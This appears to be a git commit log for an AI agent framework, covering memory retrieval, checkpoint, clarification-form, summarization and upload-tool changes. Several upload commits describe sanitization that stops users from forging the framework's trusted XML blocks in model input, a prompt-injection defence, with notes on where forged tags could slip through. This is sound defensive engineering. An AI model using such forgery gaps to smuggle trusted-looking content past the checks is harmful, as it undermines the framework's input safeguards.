* fix(memory): harden OpenViking lifecycle

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-28 23:36:25 +08:00
Aari
a5059b8284
fix(subagents): isolate callbacks and activate skills lazily (#4497) 2026-07-28 23:29:14 +08:00
Vanzeren
c48de5e70b
feat(checkpoint): make delta snapshot_frequency configurable (#4516)
* feat(checkpoint): make delta snapshot_frequency configurable

* fix(config): carry legacy checkpoint_delta_snapshot_frequency with warning

Addresses review on #4516: the rename from the flat
database.checkpoint_delta_snapshot_frequency key to nested
database.checkpoint_delta.snapshot_frequency silently dropped the old
value (pydantic extra="ignore"). Add a before-validator that maps the
legacy key onto the nested one with a deprecation warning (nested key
wins when both are set), plus a CHANGELOG breaking-change note covering
the rename and the 1000 -> 10 default change.

* fix(checkpoint): validate frozen snapshot frequency
2026-07-28 23:21:23 +08:00
阿泽
ea74367502
fix(runtime): honor LangGraph Server identity for user-scoped data (#4538)
* fix(runtime): honor LangGraph Server identity for user-scoped data

* fix(runtime): scope custom agent SOUL by resolved user
2026-07-28 22:59:14 +08:00
Aari
9a43d8276d
fix(gateway): replay edit and rerun from a settled checkpoint (#4534)
Editing the only turn of a thread reran the original prompt: the model
answered the question the edit was replacing while the UI showed the
edited text, and the edit vanished on reload.

The replay-base lookup decided whether a checkpoint predates the target
user message by message id alone. DynamicContextMiddleware re-keys the
first user turn to `{id}__user` mid-run, so every checkpoint written
before it holds the same prompt under an id the lookup cannot match. The
scan walked past those and anchored inside the run that produced the
turn — a checkpoint that still contains the original prompt and owns the
injection node's pending writes, which the replay then re-added after the
edited message.

Require the replay base to be a settled checkpoint (no pending tasks) in
both the lineage walk and the chronological fallback. That rule is
middleware agnostic: the first turn now anchors on the thread's empty
initial checkpoint and later turns on the previous run's tail, which also
drops the existing reliance on LangGraph discarding a stale `__start__`
write.

Edit replay additionally passes `head_checkpoint` so it resolves its base
lineage-first like regenerate does, and a replayed user message is
restored to its pre-swap id: replaying `{id}__user` into a state that has
no reminder yet makes the middleware treat the turn as already injected
and silently drops its date and memory block.

Frontend: a prepared replay masks the turn it supersedes, so the
optimistic-message baseline is taken from the post-mask human count. The
pre-mask count can never be exceeded when the replay puts exactly one
human message back, and on the first turn the runtime re-keys the
replacement message so identity comparison cannot stand in for the count.

Fixes #4531
2026-07-28 22:12:27 +08:00
qin-chenghan
88f9f81877
fix(clarification): normalize dict options (#4527) 2026-07-28 19:43:56 +08:00
qin-chenghan
795af20a6b
feat(memory): built-in FTS5/BM25 retrieval adapter (#4360)
* feat(memory): integrate FTS5 retrieval adapter

* deps: add jieba as default dependency for Chinese tokenization

Without jieba, FTS5 unicode61 tokenizer treats entire Chinese sentences
as single tokens, making single-character or sub-phrase searches
impossible (e.g. '吃' or '油泼面' returns 0 hits against
'用户喜欢吃油泼面'). jieba segments Chinese text into meaningful tokens
before indexing.

* fix(memory): avoid treating hyphens as FTS5 operators

* feat(memory): make Chinese tokenization optional

* fix(memory): warm every requested retrieval scope

* fix(memory): close retrieval resources on shutdown

* fix(memory): close backend when shutdown flush fails

* fix(memory): recreate corrupt retrieval index

* fix(memory): tolerate partial retrieval rebuilds

* fix(memory): warm retrieval index in background

* fix(memory): preserve shutdown flush budget

* fix(memory): stop retrying partial lazy rebuilds

* fix(memory): close retrieval through storage

* refactor(memory): simplify retrieval scope limit

* docs(memory): clarify retrieval shutdown lifecycle

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-27 23:17:18 +08:00
阿泽
1baa8ad696
feat(clarification): structured form fields for human-input cards (#4400 Phase 1) (#4406)
* feat(clarification): structured form fields for human-input cards

Add a request-side v2 `form` mode to the ask_clarification protocol so
business flows (e.g. expense reimbursement) can collect several values
in one card instead of sequential free-text questions:

- `ask_clarification` gains a restricted `fields` parameter (text /
  textarea / number / select / multi_select / checkbox / date)
- ClarificationMiddleware validates and normalizes fields explicitly
  (whitelisted types, unknown -> text, select-likes without options ->
  text, duplicate/invalid entries dropped, all-invalid falls back to
  the legacy modes) since the middleware short-circuits before tool
  execution; the plain-text fallback lists fields for IM channels
- Form payloads carry `version: 2` so older frontends degrade to the
  text fallback; replies stay on the v1 response protocol — the card
  submits a readable summary as `response_kind: "text"`, so journal
  persistence and answered-card recovery are unchanged
- Frontend renders typed field controls with required-field validation
  and compact multi-select chips

Part of #4400 (scope narrowed per maintainer feedback: request-side
only, no new response kinds, no top-level multi_choice).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(clarification): harden form protocol per review feedback

Address the five review points on #4406:

- Reject field names colliding with JS Object.prototype members on both
  sides; frontend reads form values via own-property access only, so
  `constructor`/`toString`-style names can no longer leak inherited
  members into required validation or the submitted summary
- Close open requests answered through the legacy text fallback: a
  visible plain human reply (no response metadata) now marks every
  previously-opened request as answered, so upgrading to a v2-aware
  frontend cannot leave the composer locked on an already-answered card
- Give checkbox fields deterministic boolean semantics: values are
  seeded to an explicit false ("no" in the summary) and `required` means
  must-agree/consent; documented in the tool schema
- Make middleware field validation atomic: structurally broken entries
  (bad/duplicate/reserved names, over-cap field/option counts or text
  lengths) degrade the whole form instead of silently dropping fields;
  options are trimmed/deduped with blanks removed so the backend never
  emits payloads the frontend parser rejects
- Associate form labels/controls (htmlFor/id), aria-required,
  aria-invalid, and error descriptions for accessibility

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* refactor(clarification): type the fields item schema via TypedDict

Replace `fields: list[dict[str, Any]]` with `list[ClarificationFormField]`
(a TypedDict with `name` required and the type whitelist as a Literal) so
the provider-facing tool schema documents the item shape instead of an
opaque object relying on the docstring. Runtime validation is unchanged
and stays in ClarificationMiddleware, which intercepts the call before
tool execution. Addresses the non-blocking review suggestion on #4406.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(frontend): drop unsupported aria-invalid from multi-select group

jsx-a11y: role=group does not support aria-invalid; the error linkage
stays via aria-describedby.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(clarification): coerce numeric required flags and normalize fields once

- `_normalize_bool` now coerces 1/0 (some providers serialize booleans
  as integers), so `required: 1` no longer silently flips to optional
- `_handle_clarification` normalizes `fields` once and passes the result
  to both the text fallback and the payload builder

Addresses the non-blocking review nits on #4406.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(clarification): harden form protocol per contract review round 2

Backend:
- Guard unhashable JSON in the intercept path: `type: []`/`{}` degrades
  the field to text and `clarification_type: []` coerces to str instead
  of raising TypeError (which, with return_direct, ended the turn with
  an error and no card or fallback)
- Add a total budget over the serialized normalized fields (16KB UTF-8
  bytes): per-item caps alone admitted forms whose IM text fallback
  exceeded channel delivery limits (Slack 40k chars, Feishu ~30KB card),
  silently truncating trailing fields; a boundary test proves any
  accepted form's fallback stays deliverable

Frontend:
- Submission value now appends a JSON block keyed by stable field names
  (readable summary alone is delimiter-ambiguous), with a collision
  regression test
- Parser boundary tightened to match backend constraints: empty option
  values (Radix SelectItem crash), duplicate option ids/values,
  duplicate field names, and the form<->version-2 binding are rejected
- Keep the error node mounted while any field is still invalid so
  aria-describedby never points at a removed element (happy-dom
  interaction test)
- Required semantics are now accessible: native checkbox control (no
  HTML required attribute — it would intercept the custom submit path),
  visually-hidden localized "required" markers next to the aria-hidden
  asterisks
- Legacy-fallback closure narrowed to the latest unanswered request:
  nothing guarantees a single outstanding clarification across runs, and
  closing all would silently swallow older decisions; an older request
  left open becomes the active card again

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(frontend): keep clarification selects controlled

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-07-27 14:05:31 +08:00
Vanzeren
e01173d8b2
bench(checkpoint): production-shaped full/delta benchmark with configurable snapshot frequency (#4467)
* feat(checkpoint): production-shaped full/delta benchmark with configurable snapshot frequency

- Group benchmark scripts into per-family folders (checkpoint/, sandbox/)
- Extract shared benchmark infrastructure into checkpoint_bench_common.py
- Add checkpoint_delta_snapshot_frequency config (default 1000, process-frozen);
  freeze it in make_lead_agent and DeerFlowClient; key the state-schema
  adaptation cache by resolved frequency
- New bench_production.py: per-case child processes run N ainvoke turns through
  the real lead-agent graph (scripted deterministic model, real AsyncSqliteSaver),
  then measure GET /state + POST /history through the real Gateway route stack
  in one event loop (httpx ASGITransport), cold/warm accessor-cache split,
  cross-mode digest gates
- New summarize_production.py: delta/full ratios plus decision metrics
  (snapshot_write_spike, cache_effect_ms, checkpoint_write_share,
  auto-discovered history per-limit ratios)

* fix(checkpoint): address production benchmark review
2026-07-27 11:47:49 +08:00
lllyfff
8145d66a33
feat(memory): memory message processing (#4447)
* feat(memory): signals-based update pipeline + always-on watermark/trivial filter

Refactor the DeerMem memory update pipeline (message_processing -> queue ->
updater) around a signals frozenset seam, replacing the
(filtered, correction_detected, reinforcement_detected) 3-tuple with
(filtered, signals: frozenset[str]) end to end.

message_processing:
- Externalize signal-detection patterns to YAML (message_patterns/*.yaml).
- Extend signals from correction/reinforcement to a 6-class set
  (correction/reinforcement/preference/identity/goal/decision); detect_signals
  returns a frozenset aligned with the fact category enum.
- Pure-acknowledgment turns ("ok"/"好的"/...) are always filtered out before
  enqueue (whole-message fullmatch), saving an extraction LLM call.

queue (core/queue.py):
- In-memory list + debounce timer, with flush_sync (graceful-shutdown drain
  that joins an in-flight worker under a hard timeout) and queue_max_depth
  backpressure (signal-bearing updates always admitted; QueueFull otherwise).
- Same-key updates coalesce with a signal union; per-batch success/fail summary.

updater (core/updater.py):
- head500+tail500 message truncation (replaces the 1000-char head chop).
- Always-on per-thread watermark: feed only messages added since the last
  extraction. The watermark is in-memory and is not advanced on failure, so a
  failed/lost update is re-fed on the next conversation turn.
- [MANUAL] prompt marker for user-authored facts (source.type="manual").
- Post-invoke extraction_callback (host-injected) emitting facts_extracted /
  facts_accepted / rejected_low_confidence; the host default logs metrics and
  flags >60% rejection.

Confidence filtering remains in _apply_updates (the existing
fact_confidence_threshold check); there is no separate write gate.
Consolidation stays opt-in (lossy). The ABC add/add_nowait signature is
unchanged, so the summarization flush hook and host are unaffected.

Tests: add test_message_processing_signals, test_updater_truncation,
test_updater_watermark; update queue/updater/consolidation/staleness/pluggable
tests for the signals seam.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(memory): harden update pipeline per PR review

- Catch QueueFull in DeerMem.add/add_nowait so backpressure degrades to
  'update skipped' instead of propagating into after_agent /
  summarization_hook and breaking the agent run (peer middlewares
  self-guard; MemoryMiddleware was the lone exception). Emergency
  (add_nowait) always admits under backpressure -- its data cannot be
  re-fed next turn.
- Rewrite the watermark from index-based to content/identity-based
  (_message_identity + _feed_after_watermark) so it stays correct when
  summarization removes the conversation front -- an index watermark
  pointed at the wrong message and silently skipped un-extracted tail
  turns. The emergency flush bypasses the watermark (bypass_watermark on
  ConversationContext, threaded through update_memory) and coexists with
  (does not replace) a pending normal update, so a flush cannot drop a
  pending update's un-extracted tail.
- Populate facts_accepted / rejected_low_confidence inside _apply_updates
  at the real confidence-filter site (passed_threshold) instead of
  re-deriving the threshold in _finalize_update -- eliminates metric drift.
- Emit extraction metrics in a finally with an 'attempted' flag so
  exception failures (parse error, apply_changes raise after retry) are
  observable, not only the happy path.
- Re-detect signals on the post-watermark feed for the extraction hint so
  it no longer references turns the LLM cannot see; admission-time signals
  still drive backpressure.
- Move the post-batch reschedule inside the queue lock to close a
  non-atomic self._timer race with a concurrent add.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(memory): address follow-up review nits (LRU, metric name, docstring)

- Bound the in-memory watermark cache with a configurable LRU
  (watermark_max_keys, default 4096, 0=unbounded). A dropped key re-extracts
  one batch on that thread's next turn (the documented restart behavior), so
  eviction is safe and preserves the content-identity watermark's
  front-removal guarantee. Adds _watermark_get/_watermark_set helpers and a
  bounded-LRU regression test.
- Rename the extraction metric facts_accepted -> facts_passed_confidence so
  the name matches what the >60% rejection-rate warning assumes (a
  confidence-gate signal, not a persisted-fact count); drop the stale
  "historical semantics" justification. Brand-new callback, one consumer.
- Fix the stale test_message_processing_signals module docstring: the signals
  seam is already swapped to frozenset, and a stale stage-numbering prefix is
  removed.

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-07-26 21:16:36 +08:00
Zhengcy05
2f60bee388
fix: surface length-capped model responses (#4309)
* fix: surface length-capped model responses

* fix: avoid the influence of the mid-turn

* fix: correcting semantic annotations

* fix: add ModelLengthTerminationDetector to compatible providers

* fix:delete redundancy code

* fix:supplementing log information improves observability

* fix: align the document and complete the assertions.

* fix: unit test

* fix: revert AGENTS.md

* fix: unit test

* fix: add annotation and skip AIMessage has empty content
2026-07-26 14:43:08 +08:00
Aari
37c343fe30
fix(summarization): summarize with the run model, fall back on summary-provider failure (#4361)
* fix(summarization): own the run model for compaction; bound failure

With summarization.model_name: null the summary model resolved to
config.models[0] while the executing model is selected per run; when they
differ and models[0]'s provider is broken (expired key, quota, outage)
compaction silently failed every triggered turn and context grew unbounded
until the main provider 400s the run (#3103's shape), even though the run's
own model was healthy.

Model ownership is now sourced from the builders, not re-derived at runtime:
- The lead, subagent, and manual /compact builders each pass the resolved run
  model into create_summarization_middleware(run_model_name=...). The middleware
  no longer reads runtime.context / get_config(), which do not carry a custom
  agent's or a subagent's resolved model, so a custom-agent lead run and a
  distinct-model subagent now summarize with their own model, not models[0] /
  the parent's. Runtime re-resolution and the per-name model cache are removed.
- model_name: null summarizes with the run's own model; an explicitly configured
  summary model generates and falls back to the run model on failure. The
  fallback is built lazily after the primary fails and its construction is
  guarded, so a broken fallback cannot skip a healthy primary or escape the
  automatic failure boundary.

Failure is bounded and side-effect-safe:
- An empty or whitespace-only response is treated as a generation failure, not a
  valid summary, so compaction never removes all history for an empty replacement.
- compact_state/acompact_state take raise_on_failure independent of force: the
  manual /compact path always surfaces a generation failure (even force=false)
  and routes it to the existing ContextCompactionFailed path (HTTP 500 ->
  frontend error toast) instead of an unconsumed response reason. The automatic
  path leaves compaction state unchanged.
- before_summarization hooks fire only after a replacement summary exists.

SummarizationConfig.model_name, config.example.yaml, and docs/summarization.md
document the final lead/subagent/manual ownership rules.

Part of RFC #4346 (section A). Evaluating fraction/triggers against the run
model's profile (profile ownership) is a separate follow-up.

* fix(summarization): manual /compact model ownership + fail-open construct/parse

Manual /compact carried only agent_name, so it derived the run model from the
custom-agent model or config.models[0] and missed the request-selected model the
run path uses (request -> custom-agent -> default). Carry model_name through
ThreadCompactRequest and the frontend compact call, resolve with the same
precedence, and move the custom-agent config read off the event loop (asyncio
.to_thread) with user_id so the strict blocking-IO gate is not bypassed by the
broad except.

Make one summary attempt own its full lifecycle so the fail-open boundary covers
construction and response parsing, not just invocation: build each candidate model
lazily and guarded (a raising constructor falls through to the healthy run model
instead of breaking agent construction), build the model_name:null primary from the
run model rather than config.models[0], and run response text extraction inside the
invocation try so a failing .text accessor falls back instead of escaping compaction.
Adds factory-level constructor-failure, response-extraction-failure (sync/async), and
route-path model-ownership tests.
2026-07-26 07:39:39 +08:00
Vanzeren
8c19a2eb36
perf(checkpoint): linearize message write merging (#4421)
* perf(checkpoint): linearize message write merging

* test(checkpoint): address message reducer review
2026-07-25 21:19:24 +08:00
黄云龙
126fc9ea81
fix(subagents): clamp subagent limit consistently with MIN_SUBAGENT_LIMIT (#4081)
* fix(subagents): align prompt and middleware subagent limit; allow min of 1

SubagentLimitMiddleware clamped max_concurrent to [2, 4] internally, but
agent.py and client.py fed the raw config value into the system prompt, so
a user-configured 1 (or 5) produced a prompt that disagreed with the
enforced middleware limit. Lower MIN_SUBAGENT_LIMIT to 1 and clamp the raw
config value with _clamp_subagent_limit() at both the agent factory and the
embedded client so the prompt and middleware see the same value.

* fix: remove unused imports MAX_CONCURRENT_SUBAGENT_CALLS, MIN_CONCURRENT_SUBAGENT_CALLS, clamp_subagent_concurrency

* fix: harmonize clamp range [1,4] across middleware, config, and prompt path; fix lint

- Changed MIN_CONCURRENT_SUBAGENT_CALLS from 2 to 1 so prompt.py's
  clamp_subagent_concurrency and the middleware's _clamp_subagent_limit
  both clamp to [1,4] — eliminating the divergence where the prompt told
  the model 'max 2 task calls' but the middleware enforced 1.
- Applied _clamp_subagent_limit at build_middlewares (agent.py:360) so
  all 3 construction sites (agent.py:360, agent.py:450, client.py:259)
  consistently clamp the config-resolved limit.
- Derived MIN_SUBAGENT_LIMIT / MAX_SUBAGENT_LIMIT from
  MIN_CONCURRENT_SUBAGENT_CALLS / MAX_CONCURRENT_SUBAGENT_CALLS so the
  two module-level definitions stay in sync.
- Added TestConfigParity.test_prompt_path_and_middleware_clamp_agree
  regression test.
- Fixed lint.

* fix(lint): add missing imports for MIN_CONCURRENT_SUBAGENT_CALLS and MAX_CONCURRENT_SUBAGENT_CALLS

* docs+test: update AGENTS.md clamp range to 1-4; add prompt/middleware parity regression test

- backend/AGENTS.md still documented the old [2,4] clamp in two places;
  updated to [1,4] to match MIN_CONCURRENT_SUBAGENT_CALLS = 1.
- Added test_apply_prompt_template_single_subagent_limit_matches_middleware:
  renders the real system prompt with max_concurrent_subagents=1 and asserts
  the advertised HARD LIMITS value equals SubagentLimitMiddleware's enforced
  max_concurrent — the end-to-end check that would have caught the [1,4] vs
  [2,4] prompt-path divergence flagged in review.

* refactor: simplify per review — restore clamp delegation, drop redundant call-site clamps

Per willem-bd's review, reduce the PR to the one behavioral change plus
docs/tests:

- _clamp_subagent_limit delegates to clamp_subagent_concurrency again
  instead of inlining a byte-identical copy; with a single source of
  truth the TestConfigParity sync-check class is unnecessary — dropped.
- Revert the call-site clamps in agent.py (build_middlewares,
  _make_lead_agent) and client.py (_ensure_agent) to main: both
  downstream consumers (SubagentLimitMiddleware.__init__ and the prompt
  path) already clamp internally, and the cross-module private import
  of _clamp_subagent_limit goes away with them.
- Keep MIN_CONCURRENT_SUBAGENT_CALLS = 1 (the fix), the [1, 4]
  docstring updates, the AGENTS.md range corrections, and the
  end-to-end prompt/middleware parity test for single-subagent mode
  (docstring reworded: on main a configured 1 was bumped to 2 by both
  paths — there was no divergence to fix, just a silently raised floor).

* test: fix stale comment referencing reverted agent.py/client.py call-site clamps

---------

Co-authored-by: nankingjing <nankingjing@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-24 21:56:11 +08:00
Huixin615
4a2ecd430e
fix(streaming): expose custom events to astream_events (#4403)
* fix(streaming): expose custom events to astream_events

* test(streaming): validate real custom event emitters

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-23 22:56:12 +08:00
hataa
7857fa0cce
feat(authz): enforce tool authorization at assembly and runtime (#4370)
* feat(authz): enforce tool authorization at assembly and runtime

* fix(middleware): guard deferred tool setup lookup (#4370)

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-23 22:51:35 +08:00
MiaoRuidx
f1632cc351
fix(run): add run event stream contract (#4342)
* docs: document run event stream contract

* fix(run): address event stream review feedback

---------

Co-authored-by: MiaoRuidx <12540796+MiaoRuidx@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-07-23 21:33:57 +08:00
Aari
b7933d18e4
fix(safety): backfill empty content-filter responses so they don't poison the thread (#4394)
An empty assistant message from a provider safety filter (content_filter with
no content, no tool calls) was persisted into thread history and replayed to
strict OpenAI-compatible providers, which reject it with HTTP 400 ("message ...
with role 'assistant' must not be empty") — breaking every later turn until a
new chat is started.

SafetyFinishReasonMiddleware only handled the tool-call case (#3028) and
TerminalResponseMiddleware only the post-tool case (#4027), so a plain empty
content-filter response fell through both. Extend the safety middleware to
backfill a user-facing explanation when a safety-terminated message is
otherwise blank, so the persisted turn is non-empty (and the user sees why it
was blocked).

Fixes #4393
2026-07-23 16:59:34 +08:00
lllyfff
01a89f2379
[feat] memory: pluggable MemoryManager interface for backend onboarding (#4326)
* refactor(memory): pluggable MemoryManager interface for backend onboarding

Optimize the MemoryManager interface layer so new backends (mem0/openviking)
onboard with less code and the contract stays stable as capabilities are
added. A minimal backend now implements only from_config + add + get_context
(verified by test_memory_manager_interface.py::_MinimalBackend onboarding via
the factory); the factory no longer knows a backend's private hooks.

- MemoryManager: ABC -> pydantic BaseModel; three-tier methods (tier-1
  add/get_context abstract; tier-2 management defaults; tier-3 optional hooks
  warm/reload/fact + on_pre_compress/on_turn_start). Dropped 3 self-serving
  hooks. 6 hasattr probe sites -> direct call + try/except NotImplementedError.
- from_config classmethod: factory thins to resolve + inject storage_path +
  collect host hooks + call from_config; DeerMem-specific hook consumption
  moved from factory to DeerMem.from_config.
- Invariants: @model_validator (mode='tool' requires search via supports_search
  ClassVar); DeerMemConfig storage_path-is-file check moved here from factory.
- Async: aadd/aget_context/asearch default to the sync path (speculative).
- Callbacks: MemoryCallbacks + LangfuseMemoryCallbacks; on_memory_llm_call
  subsumes tracing_callback (same signature/timing/mutation); deleted the
  tracing_callback field. DeerMem decoupled from langfuse (portability).
- noop keeps read-op empty overrides (avoids router 500s on the
  disable-memory-via-noop path); only delete/export inherit the base raise.

Behavior preserved: 661 passed / 13 skipped. Docs: backends/README.md rewritten
(three-tier + from_config + callbacks); samples README updated; removed stale
private doc paths.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(memory): 501 on unsupported read/manage endpoints + accurate warm log

Review follow-up on the three-tier MemoryManager refactor.

- Read/manage endpoints (GET /memory, /memory/export, /memory/status,
  DELETE /memory, POST /memory/import) and the /memory/reload fallback now
  catch NotImplementedError -> 501, matching the fact-CRUD endpoints. The
  hasattr->try/except migration had skipped these: they were @abstractmethod
  before (every backend implemented them, so they never raised), so once they
  became tier-2 default-raise a minimal backend (only add + get_context) hit a
  raw 500 -- there is no global NotImplementedError handler. get_memory is
  shared via _get_memory_or_501 (covers /memory, export, status, reload
  fallback). noop is unchanged: its read-op empty overrides never raise.
- warm() base default returns None (tri-state: True=warmed, False=failed,
  None=nothing to warm) so the Gateway lifespan logs "skipping" for a
  non-DeerMem backend (e.g. noop) instead of the inaccurate "warmed
  successfully" it never earned. DeerMem.warm keeps True/False.
- Tests: 6 router 501 tests (read/manage + reload fallback) + 2 lifespan
  warm-log tests (None->skipping, False->warning); conformance/pluggable
  assert warm() is None.

705 passed / 13 skipped; lint clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(memory): review follow-ups - search-flag consistency, client reload, backend_config purity

Address review feedback on the three-tier MemoryManager refactor:

- [Medium] supports_search/search drift: the invariant now requires the
  supports_search ClassVar flag to MATCH whether search() is actually
  overridden (type(self).search is not MemoryManager.search), so the flag
  can't drift from the impl. Catches both directions at instantiation: a
  backend that overrides search() but forgets supports_search=True (was a
  misleading tool-mode rejection), and one that sets the flag without
  overriding (was a runtime NotImplementedError on the first memory_search).
  noop sets supports_search=True to match its search() override. Conformance
  adds drift + consistent-backend tests.
- [Low] client.reload_memory fallback: wrap the get_memory fallback so a
  minimal backend (only add + get_context) surfaces a clean NotImplementedError
  ("implements neither reload_memory nor get_memory") instead of an uncaught
  propagation -- mirrors the router's 501. Test added.
- [Low] backend_config purity: DeerMem.from_config restores backend_config to
  the pure data the host passed after model_post_init parses the injected hooks
  into DeerMemConfig (self._config, PrivateAttr); the field stays serializable
  (no callables/LLM) and matches the README ("host hooks NOT in backend_config").
  Test asserts purity + hooks wired.
- [Low] CHANGELOG: breaking-change note that mode='tool' + non-search backend
  now fails fast at startup (was silently empty) so operators recognize it on
  upgrade.
- [Nit] .gitignore: drop the env-specific .tmp-pytest/ entry (--basetemp is
  local-only, not make test/CI).

709 passed / 13 skipped; lint clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* docs(changelog): correct memory tool-mode fail-fast note

The CHANGELOG entry said mode='tool' + a non-search backend "(e.g. noop)"
fails fast at startup, but noop overrides search() (returns []) and sets
supports_search=True (required by the consistency invariant), so noop IS
search-capable and noop+tool does NOT fail fast. The fail-fast only affects a
custom backend that onboards without overriding search(). Reworded to drop the
misleading noop example and state both shipping backends implement search().

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-07-22 14:40:57 +08:00
Lee minjing
e225ad57d7
feat(uploads): lazy-load historical files via list_uploaded_files tool (#4174)
* feat(uploads): lazy-load historical files via list_uploaded_files tool

Replace per-turn injection of all historical upload metadata with on-demand
discovery via a new `list_uploaded_files` built-in tool, following the same
deferred-discovery pattern used by skills.

- Rename <uploaded_files> block to <current_uploads> (current-run files only)
- Add list_uploaded_files tool with include_outline: bool|list[str]
- Extract outline helpers to shared deerflow/utils/file_outline.py
- Update system prompt to reflect lazy-loading behaviour
- Historical file scan removed from UploadsMiddleware.before_agent()

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(uploads): clear uploaded_files state when no new files in current turn

When before_agent() returns None on empty turns, the LastValue
uploaded_files field retains the previous turn's filenames.
list_uploaded_files then incorrectly excludes those files as
"current-run" files, making them invisible until the next upload.

Fix: return {"uploaded_files": []} instead of None to explicitly
clear state. Add two-turn regression test covering the exact
scenario from review feedback.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: resolve CI lint errors and stale test assertion from merge

- Split long prompt line to fit 240-char limit
- Add missing `Any` import in list_uploaded_files_tool
- Remove unused `re` import in file_conversion (outline code moved)
- Remove unused `os` import in middleware test
- Fix test assertion: <uploaded_files> → <current_uploads> after main merge

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: resolve CI lint errors and stale test assertion from merge

- Split long prompt line to fit 240-char limit
- Add missing `Any` import in list_uploaded_files_tool
- Remove unused `re` import in file_conversion (outline code moved)
- Remove unused `os` import in middleware test
- Fix test assertion: <uploaded_files> → <current_uploads> after main merge

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: add current_uploads to input sanitization exempt tags

The lazy-loading PR renamed <uploaded_files> to <current_uploads>.
The anti-drift guard scans all framework XML blocks and requires each
to be either blocked or explicitly exempted. current_uploads wraps
trusted server-generated file metadata, not user input, so it belongs
in the exempt set.

Co-Authored-By: Claude <noreply@anthropic.com>

* test: regenerate replay golden after uploaded_files state change

before_agent now returns {"uploaded_files": []} instead of None,
adding uploaded_files to SSE values events. Regenerated via
DEERFLOW_WRITE_GOLDEN=1.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: review feedback — memory pipeline, stale tags, state clearing, nits

- Match both tags in memory stripping pipeline (uploaded_files|current_uploads)
- Remove stale uploaded_files from _BLOCKED_TAG_NAMES
- Clear uploaded_files on all before_agent early-return paths
- Fix ponytail: stray word in file_conversion re-export comment
- Remove dead total_omitted branch in _format_omitted_summary
- ruff format fixes

Co-Authored-By: Claude <noreply@anthropic.com>

* fix: block current_uploads, sanitize only original user content

Per review feedback: instead of exempting <current_uploads> (which
allows user forgery), move it to _BLOCKED_TAG_NAMES and change
InputSanitizationMiddleware._process_request to scan only the
original user content (ORIGINAL_USER_CONTENT_KEY) when available.
Server-injected trusted blocks are no longer checked against the
blocked-tag denylist.

Co-Authored-By: Claude <noreply@anthropic.com>

* docs: clarify fallback reason in input sanitization comment

Co-Authored-By: Claude <noreply@anthropic.com>

* @
fix: third-round review feedback — state visibility, sanitization, regex, nits

- list_uploaded_files_tool: logger.warning instead of silent try/except
  on runtime.state read failure (High)
- input_sanitization_middleware: _extract_text_from_content skips empty
  text blocks to match message_content_to_text behaviour; rfind fallback
  path logs warning for observability (Medium)
- memory pipeline regexes: backreference (?P<tag>)(?P=tag) in
  message_processing.py and prompt.py (Low)
- file_conversion.py: re-export moved to top of file (Low)
- Tests: middleware→tool state bridge test; integrated forged-tag +
  multimodal sanitization tests

PR #4174 — Follow-up issues: #4212, #4213, #4214

Co-Authored-By: Claude <noreply@anthropic.com>
@

* @
fix: 4th-round review — denylist, sanitization, scandir, nits

- Add "uploaded_files" back to _BLOCKED_TAG_NAMES (old tag still processed by
  deermem; user forgery must be escaped) (consistency)
- Fix inaccurate rfind-fallback comment: UploadsMiddleware keeps string as
  string, fallback is unreachable for strings (doc fix)
- Distinguish "empty string key" (upload without text) from "non-string key"
  (caller forgery) so empty-text uploads never escape the server block (edge)
- Merge dual os.scandir(uploads_dir) calls into one list re-use (minor)
- Add comment on .md sibling skip known limitation: user-uploaded .md files
  whose stem collides with a converted doc are hidden (boundary, no code change)

Co-Authored-By: Claude <noreply@anthropic.com>
@

* @
fix: tighten rfind-failure fallback — distinguish server blocks from user blocks

When _extract_text_from_content and message_content_to_text disagree on
multimodal list content and rfind fails, use content[0] (server-injected
<current_uploads> block) vs content[1:] (user blocks) to sanitize only
user blocks.  Raw strings and non-standard dict blocks that
_extract_text_from_content misses are now also sanitized.

Non-distinguishable paths (< 2 text blocks, non-list content) still
degrade to full sanitization (safe — server block may be escaped but
user forgery never leaks).  All fallback paths log via logger.warning.

Decision 18 / willem-bd 4th-round comment #3

Co-Authored-By: Claude <noreply@anthropic.com>
@

* @
fix: correct comments referencing text_blocks → content in rfind fallback

Co-Authored-By: Claude <noreply@anthropic.com>
@

* fix: 5th-round review — dead code, subagent gating, integration test, perf, consistency

- Delete unreachable ORIGINAL_USER_CONTENT_KEY guard in rfind fallback
  branch (original_user_content guaranteed non-empty str at that point)
- Remove list_uploaded_files from BUILTIN_TOOLS; add include_upload_tool
  param to get_available_tools(), default True; task_tool.py passes False
  so subagents no longer receive a tool whose state exclusion is broken
- Add integration test exercising real create_agent graph (not mocked
  runtime.state) to verify LangGraph propagates before_agent state writes
  into ToolRuntime.state during same-turn tool calls
- Cache DirEntry.stat() st_size in candidates tuple to avoid second
  per-file syscall in the rendering loop
- Make the upload-tag pre-check case-insensitive (content_str.lower())
  to match _UPLOAD_BLOCK_RE re.IGNORECASE

PR #4174 — willem-bd 5th-round review items #1-#5

Co-Authored-By: Claude <noreply@anthropic.com>

